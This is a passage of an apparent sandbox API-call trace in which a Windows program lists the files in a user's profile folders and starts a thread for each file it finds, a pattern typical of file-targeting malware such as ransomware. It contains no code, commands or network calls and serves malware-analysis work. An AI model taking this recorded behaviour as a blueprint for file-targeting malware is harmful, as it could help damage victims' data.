HALPmcxz\\Pictures\\x3L7dAtCYcnatbA.gif" [0049.579] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x45e7b8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7d8 [0049.580] FindNextFileW (in: hFindFile=0x40a1e8, lpFindFileData=0x42eb90 | out: lpFindFileData=0x42eb90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x339768d0, ftCreationTime.dwHighDateTime=0x1d4d032, ftLastAccessTime.dwLowDateTime=0x91887c00, ftLastAccessTime.dwHighDateTime=0x1d4cca8, ftLastWriteTime.dwLowDateTime=0x91887c00, ftLastWriteTime.dwHighDateTime=0x1d4cca8, nFileSizeHigh=0x0, nFileSizeLow=0x72d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="x3L7dAtCYcnatbA.gif", cAlternateFileName="X3L7DA~1.GIF")) returned 0 [0049.580] FindClose (in: hFindFile=0x40a1e8 | out: hFindFile=0x40a1e8) returned 1 [0049.581] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x42eb90) returned 1 [0049.581] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44a070) returned 1 [0049.581] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4142b0) returned 1 Thread: id = 184 os_tid = 0x494 [0046.286] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x54) returned 0x44a730 [0046.286] wcscpy (in: _Dest=0x44a730, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\PrintHood" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\PrintHood") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\PrintHood" [0046.286] wcscat (in: _Dest=0x44a730, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\PrintHood\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\PrintHood\\" [0046.286] wcscat (in: _Dest=0x44a730, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\PrintHood\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\PrintHood\\*" [0046.286] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x42edf8 [0046.286] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\PrintHood\\*", lpFindFileData=0x42edf8 | out: lpFindFileData=0x42edf8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0046.286] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x42edf8) returned 1 [0046.286] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44a730) returned 1 [0046.286] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x414308) returned 1 Thread: id = 185 os_tid = 0x410 [0046.287] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x4e) returned 0x414308 [0046.287] wcscpy (in: _Dest=0x414308, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Recent" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Recent") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Recent" [0046.287] wcscat (in: _Dest=0x414308, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Recent\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Recent\\" [0046.287] wcscat (in: _Dest=0x414308, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Recent\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Recent\\*" [0046.287] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x42edf8 [0046.287] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Recent\\*", lpFindFileData=0x42edf8 | out: lpFindFileData=0x42edf8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0046.287] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x42edf8) returned 1 [0046.287] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x414308) returned 1 [0046.287] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x414360) returned 1 Thread: id = 186 os_tid = 0x40c [0046.288] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x58) returned 0x44a730 [0046.288] wcscpy (in: _Dest=0x44a730, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games" [0046.288] wcscat (in: _Dest=0x44a730, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\" [0046.288] wcscat (in: _Dest=0x44a730, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\*" [0046.288] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x42edf8 [0046.288] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\*", lpFindFileData=0x42edf8 | out: lpFindFileData=0x42edf8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d22d5a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x40a228 [0046.289] wcscmp (_String1=".", _String2=".") returned 0 [0046.289] FindNextFileW (in: hFindFile=0x40a228, lpFindFileData=0x42edf8 | out: lpFindFileData=0x42edf8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d22d5a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0046.289] wcscmp (_String1="..", _String2=".") returned 1 [0046.289] wcscmp (_String1="..", _String2="..") returned 0 [0046.289] FindNextFileW (in: hFindFile=0x40a228, lpFindFileData=0x42edf8 | out: lpFindFileData=0x42edf8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d22d5a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0046.289] wcscmp (_String1="desktop.ini", _String2=".") returned 1 [0046.289] wcscmp (_String1="desktop.ini", _String2="..") returned 1 [0046.289] FindNextFileW (in: hFindFile=0x40a228, lpFindFileData=0x42edf8 | out: lpFindFileData=0x42edf8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d22d5a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0046.289] FindClose (in: hFindFile=0x40a228 | out: hFindFile=0x40a228) returned 1 [0046.289] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x42edf8) returned 1 [0046.289] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44a730) returned 1 [0046.289] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44a0d0) returned 1 Thread: id = 187 os_tid = 0x518 [0046.290] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x52) returned 0x44a0d0 [0046.290] wcscpy (in: _Dest=0x44a0d0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches" [0046.290] wcscat (in: _Dest=0x44a0d0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\" [0046.290] wcscat (in: _Dest=0x44a0d0, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\*" [0046.290] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x42edf8 [0046.290] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\*", lpFindFileData=0x42edf8 | out: lpFindFileData=0x42edf8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28de3e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x40a228 [0046.290] wcscmp (_String1=".", _String2=".") returned 0 [0046.290] FindNextFileW (in: hFindFile=0x40a228, lpFindFileData=0x42edf8 | out: lpFindFileData=0x42edf8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28de3e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0046.290] wcscmp (_String1="..", _String2=".") returned 1 [0046.291] wcscmp (_String1="..", _String2="..") returned 0 [0046.291] FindNextFileW (in: hFindFile=0x40a228, lpFindFileData=0x42edf8 | out: lpFindFileData=0x42edf8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x20c, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0046.291] wcscmp (_String1="desktop.ini", _String2=".") returned 1 [0046.291] wcscmp (_String1="desktop.ini", _String2="..") returned 1 [0046.291] FindNextFileW (in: hFindFile=0x40a228, lpFindFileData=0x42edf8 | out: lpFindFileData=0x42edf8*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf99d9932, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Everywhere.search-ms", cAlternateFileName="EVERYW~1.SEA")) returned 1 [0046.291] wcscmp (_String1="Everywhere.search-ms", _String2=".") returned 1 [0046.291] wcscmp (_String1="Everywhere.search-ms", _String2="..") returned 1 [0046.291] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x78) returned 0x400498 [0046.291] wcscpy (in: _Dest=0x400498, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches" [0046.291] wcscat (in: _Dest=0x400498, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\" [0046.291] wcscat (in: _Dest=0x400498, _Source="Everywhere.search-ms" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\Everywhere.search-ms") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\Everywhere.search-ms" [0048.985] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x400498, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3fc [0048.986] FindNextFileW (in: hFindFile=0x40a228, lpFindFileData=0x42edf8 | out: lpFindFileData=0x42edf8*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf99b37d1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Indexed Locations.search-ms", cAlternateFileName="INDEXE~1.SEA")) returned 1 [0048.986] wcscmp (_String1="Indexed Locations.search-ms", _String2=".") returned 1 [0048.986] wcscmp (_String1="Indexed Locations.search-ms", _String2="..") returned 1 [0048.986] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x86) returned 0x416810 [0048.986] wcscpy (in: _Dest=0x416810, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches" [0048.986] wcscat (in: _Dest=0x416810, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\" [0048.986] wcscat (in: _Dest=0x416810, _Source="Indexed Locations.search-ms" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\Indexed Locations.search-ms") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\Indexed Locations.search-ms" [0048.986] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x416810, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x820 [0048.987] FindNextFileW (in: hFindFile=0x40a228, lpFindFileData=0x42edf8 | out: lpFindFileData=0x42edf8*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf99b37d1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Indexed Locations.search-ms", cAlternateFileName="INDEXE~1.SEA")) returned 0 [0048.987] FindClose (in: hFindFile=0x40a228 | out: hFindFile=0x40a228) returned 1 [0048.988] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x42edf8) returned 1 [0048.988] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44a0d0) returned 1 [0048.988] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4143b8) returned 1 Thread: id = 188 os_tid = 0x130 [0046.291] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x4e) returned 0x414360 [0046.291] wcscpy (in: _Dest=0x414360, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\SendTo" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\SendTo") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\SendTo" [0046.291] wcscat (in: _Dest=0x414360, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\SendTo\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\SendTo\\" [0046.291] wcscat (in: _Dest=0x414360, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\SendTo\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\SendTo\\*" [0046.291] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x42f060 [0046.291] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\SendTo\\*", lpFindFileData=0x42f060 | out: lpFindFileData=0x42f060*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0046.291] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x42f060) returned 1 [0046.292] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x414360) returned 1 [0046.292] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x414410) returned 1 Thread: id = 189 os_tid = 0x848 [0046.292] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x56) returned 0x44a730 [0046.292] wcscpy (in: _Dest=0x44a730, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Start Menu" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Start Menu") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Start Menu" [0046.292] wcscat (in: _Dest=0x44a730, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Start Menu\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Start Menu\\" [0046.292] wcscat (in: _Dest=0x44a730, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Start Menu\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Start Menu\\*" [0046.292] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x42f060 [0046.292] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Start Menu\\*", lpFindFileData=0x42f060 | out: lpFindFileData=0x42f060*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0046.293] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x42f060) returned 1 [0046.293] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44a730) returned 1 [0046.293] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44a130) returned 1 Thread: id = 190 os_tid = 0x844 [0046.294] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x54) returned 0x44a130 [0046.294] wcscpy (in: _Dest=0x44a130, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Templates" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Templates") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Templates" [0046.294] wcscat (in: _Dest=0x44a130, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Templates\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Templates\\" [0046.294] wcscat (in: _Dest=0x44a130, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Templates\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Templates\\*" [0046.294] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x42f060 [0046.294] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Templates\\*", lpFindFileData=0x42f060 | out: lpFindFileData=0x42f060*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0046.294] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x42f060) returned 1 [0046.294] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44a130) returned 1 [0046.294] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x414468) returned 1 Thread: id = 191 os_tid = 0x7a4 [0046.295] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x4e) returned 0x414468 [0046.295] wcscpy (in: _Dest=0x414468, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos" [0046.295] wcscat (in: _Dest=0x414468, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\" [0046.295] wcscat (in: _Dest=0x414468, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\*" [0046.295] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x42f060 [0046.295] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\*", lpFindFileData=0x42f060 | out: lpFindFileData=0x42f060*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x87a6c560, ftLastAccessTime.dwHighDateTime=0x1d5945e, ftLastWriteTime.dwLowDateTime=0x87a6c560, ftLastWriteTime.dwHighDateTime=0x1d5945e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x40a268 [0046.295] wcscmp (_String1=".", _String2=".") returned 0 [0046.295] FindNextFileW (in: hFindFile=0x40a268, lpFindFileData=0x42f060 | out: lpFindFileData=0x42f060*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x87a6c560, ftLastAccessTime.dwHighDateTime=0x1d5945e, ftLastWriteTime.dwLowDateTime=0x87a6c560, ftLastWriteTime.dwHighDateTime=0x1d5945e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0046.295] wcscmp (_String1="..", _String2=".") returned 1 [0046.295] wcscmp (_String1="..", _String2="..") returned 0 [0046.295] FindNextFileW (in: hFindFile=0x40a268, lpFindFileData=0x42f060 | out: lpFindFileData=0x42f060*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8216b100, ftCreationTime.dwHighDateTime=0x1d4d47e, ftLastAccessTime.dwLowDateTime=0x7ee27c0, ftLastAccessTime.dwHighDateTime=0x1d4d3fa, ftLastWriteTime.dwLowDateTime=0x7ee27c0, ftLastWriteTime.dwHighDateTime=0x1d4d3fa, nFileSizeHigh=0x0, nFileSizeLow=0x15ed8, dwReserved0=0x0, dwReserved1=0x0, cFileName="2IOA84iiqtrxsLO96eiZ.flv", cAlternateFileName="2IOA84~1.FLV")) returned 1 [0046.295] wcscmp (_String1="2IOA84iiqtrxsLO96eiZ.flv", _String2=".") returned 1 [0046.295] wcscmp (_String1="2IOA84iiqtrxsLO96eiZ.flv", _String2="..") returned 1 [0046.295] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x7c) returned 0x446ee0 [0046.295] wcscpy (in: _Dest=0x446ee0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos" [0046.296] wcscat (in: _Dest=0x446ee0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\" [0046.296] wcscat (in: _Dest=0x446ee0, _Source="2IOA84iiqtrxsLO96eiZ.flv" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\2IOA84iiqtrxsLO96eiZ.flv") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\2IOA84iiqtrxsLO96eiZ.flv" [0049.439] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x446ee0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x65c [0049.440] FindNextFileW (in: hFindFile=0x40a268, lpFindFileData=0x42f060 | out: lpFindFileData=0x42f060*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26463e80, ftCreationTime.dwHighDateTime=0x1d4c62e, ftLastAccessTime.dwLowDateTime=0x2f9e6c10, ftLastAccessTime.dwHighDateTime=0x1d4cb0a, ftLastWriteTime.dwLowDateTime=0x2f9e6c10, ftLastWriteTime.dwHighDateTime=0x1d4cb0a, nFileSizeHigh=0x0, nFileSizeLow=0x10b87, dwReserved0=0x0, dwReserved1=0x0, cFileName="7St8LyChPiV45VHvlV.mp4", cAlternateFileName="7ST8LY~1.MP4")) returned 1 [0049.440] wcscmp (_String1="7St8LyChPiV45VHvlV.mp4", _String2=".") returned 1 [0049.440] wcscmp (_String1="7St8LyChPiV45VHvlV.mp4", _String2="..") returned 1 [0049.440] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x78) returned 0x45e838 [0049.440] wcscpy (in: _Dest=0x45e838, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos" [0049.440] wcscat (in: _Dest=0x45e838, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\" [0049.440] wcscat (in: _Dest=0x45e838, _Source="7St8LyChPiV45VHvlV.mp4" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\7St8LyChPiV45VHvlV.mp4") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\7St8LyChPiV45VHvlV.mp4" [0049.440] 